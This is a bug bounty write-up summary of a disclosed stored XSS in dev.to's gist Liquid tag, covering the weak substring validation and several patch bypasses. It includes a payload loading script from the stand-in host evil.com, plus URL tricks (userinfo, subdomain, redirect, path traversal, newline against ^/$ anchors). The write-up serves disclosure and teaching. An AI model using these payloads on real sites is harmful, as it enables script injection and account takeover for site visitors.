# Pwned Together: Hacking dev.to

Stored XSS in dev.to's gist Liquid tag: weak URL validation let attackers inject a script src pointing to an attacker-controlled gist, executing JS in any reader's browser.

- Payout: $150
- Severity: high
- Program: Dev.to
- Credited: Antony Garand
- Disclosed: 2018-08-31
- Write-up quality: 8/10
- Original: https://dev.to/antogarand/pwned-together-hacking-devto-hkd
- Library page: https://bugbountylibrary.com/r/blog%3Adev-to-antogarand-pwned-together-hacking-devto-hkd
- Tags: domain:web impact:ato kind:bounty platform:blog sev:high tech:ruby technique:chained technique:incomplete-fix technique:source-review vuln:xss

**Target:** Liquid tag renderer (gist embed) in Rails app
**Root cause:** The gist Liquid tag interpolated user-supplied link directly into a <script src> and validated it only with link.include?("gist.github.com"), so any URL containing that substring passed.
**Steps:**
1. Locate /app/liquid_tags gist tag: `html = <script id="gist-ltag" src="#{@link}.js"></script>`
2. Note validation: `link.include?("gist.github.com")`
3. Submit post with `{% gist //evil.com/script#gist.github.com %}`
4. Rendered: `<script src="//evil.com/script#gist.github.com.js"></script>` loads attacker JS
5. After patch 1 (regex requiring http(s)://gist.github.com), bypass with `https://gist.github.com@evil.com/` or `http://gist.github.com.evil.com/`
6. After patch 2 (trailing slash), bypass with `https://gist.github.com/<user>/<id>/raw/<fileid>/poc.js` since gist.github.com redirects raw paths to gist.githubusercontent.com
7. After patch 3, bypass with `/../` path traversal and trailing newline (regex used ^...$ instead of \A...\Z)
**How found:** Read the open-source repo, focused on newly added custom Liquid tags, noticed the gist tag interpolated the link into a script src and that validation only checked substring inclusion.
**Exploitation:** Attacker publishes a blog post containing the crafted gist tag; any visitor loading the post executes attacker-controlled JavaScript in the dev.to origin, allowing account actions (profile edits, posts, likes) on the victim's behalf.
**Escalation:** Iterative patch bypasses: userinfo trick, subdomain trick, raw-gist redirect, path traversal, and newline injection against ^/$ anchors.
**Insight:** When a URL is placed in a <script src>, substring checks are useless: `//host`, `user@host`, `host.evil.com`, and redirecting paths all pass. Also, Ruby regex `^...$` is newline-bypassable; use `\A...\Z`.
